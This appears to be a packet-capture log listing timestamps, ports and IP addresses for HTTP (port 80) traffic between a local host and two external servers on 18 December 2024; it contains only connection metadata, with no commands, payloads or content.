Dec 18, 2024 15:56:33.970385075 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.970432043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.971496105 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.975812912 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.059258938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.059273958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.059359074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.059463024 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.059530973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.059833050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.060106039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.060450077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.060921907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.060931921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.061016083 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.061561108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.061578035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.061635971 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.062239885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.062289953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.062846899 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.062894106 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.063014984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.063604116 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.063648939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.063739061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.064230919 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.064311028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.064450026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.065329075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.065337896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.065387964 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.065823078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.065964937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.066054106 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.066668034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.066678047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.066739082 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.067257881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.067277908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.067327023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.068048954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.068058968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.068104982 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.068567038 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.068758965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.068803072 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.069261074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.069557905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.069614887 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.070017099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.070349932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.070482016 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.070813894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.070832014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.070996046 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.071465015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.071566105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.071816921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.072223902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.072243929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.072319984 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.072962999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.072987080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.073039055 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.073693991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.073733091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.073775053 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.074254990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.074450970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.074559927 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.074974060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.075397968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.075459957 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.075777054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.075797081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.075846910 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.076503038 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.076522112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.076574087 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.077172041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.077219009 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.077266932 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.077907085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.078069925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.078155041 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.078603029 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.078622103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.078674078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.079541922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.079658031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.079703093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.080200911 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.080219984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.080272913 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.080723047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.081259966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.081315041 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.081439018 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.081823111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.082197905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.082217932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.082264900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.082292080 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.082849979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.082890034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.082942009 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.083592892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.083630085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.083692074 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.084345102 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.084362984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.084481955 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.085027933 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.085120916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.085216999 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.085690022 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.085730076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.086342096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.086399078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.086515903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.086844921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.087156057 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.087235928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.087291002 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.087807894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.087888002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.087925911 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.088567972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.088653088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.089356899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.089416981 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.089437962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.089860916 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.090115070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.090209961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.090253115 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.090743065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.090778112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.090832949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.091490984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.091798067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.092400074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.092472076 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.092554092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.093079090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.093158960 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.093372107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.093422890 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.093728065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.093899965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.093986034 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.094403028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.094420910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.094484091 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.095262051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.095392942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.095828056 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.095850945 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.095909119 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.095958948 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.096590042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.101408005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.101464033 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.101557016 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.101818085 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.102905035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.102916956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.102966070 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.103346109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.103389978 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.104363918 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.104376078 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.104420900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.105393887 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.105406046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.105444908 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.106508970 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.106519938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.106564045 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.107518911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.107530117 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.107567072 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.108625889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.108752012 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.108799934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.109838009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.109903097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.109963894 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.110008955 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.111166954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.111236095 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.111289978 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.112323046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.112386942 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.112442017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.112586021 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.113543034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.113554955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.113598108 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.114648104 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.114810944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.114860058 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.115839958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.115845919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.115911007 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.117108107 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.117115021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.117172003 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.118503094 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.118510962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.118557930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.118592978 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.119613886 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.119621038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.119673967 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.120765924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.120786905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.120841980 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.121880054 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.121959925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.121968985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.122064114 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.123378992 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.123398066 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.123451948 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.124222040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.124341965 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.124418020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.124500990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.125503063 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.125574112 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.125633001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.125796080 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.126777887 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.126844883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.126883984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.127278090 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.128144979 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.128164053 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.128240108 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.129271030 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.129333973 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.129358053 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.129434109 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.130295992 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.130393028 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.130465031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.130543947 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.131632090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.131697893 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.131786108 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.131921053 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.132848978 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.132884026 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.132919073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.132932901 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.133904934 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.133970976 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.134000063 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.134110928 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.135368109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.135435104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.135700941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.135844946 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.136244059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.136303902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.136416912 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.136493921 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.137504101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.137617111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.137625933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.137691021 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.138668060 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.138854027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.138906002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.138997078 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.139889002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.139976025 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.140038967 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.140110016 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.140887022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.141041040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.141138077 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.141196012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.142333984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.142354012 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.142404079 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.143373013 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.143498898 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.143513918 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.143595934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.144545078 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.144606113 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.144649029 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.144737959 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.145889044 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.145946026 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.146244049 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.146344900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.146981955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.147001028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.147049904 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.148305893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.148364067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.148472071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.148516893 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.149539948 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.149559021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.149612904 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.150592089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.150686026 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.150743008 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.151804924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.152148962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.152239084 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.153213024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.153304100 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.153381109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.153434992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.154546022 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.154603958 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.154675961 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.154756069 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.155402899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.155487061 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.155492067 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.155534029 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.156698942 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.156718016 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.156770945 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.157828093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.158032894 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.158051014 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.158107042 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.159030914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.159116030 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.159192085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.160232067 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.160273075 CET	80	49806	185.215.113.16	192.168.2.10
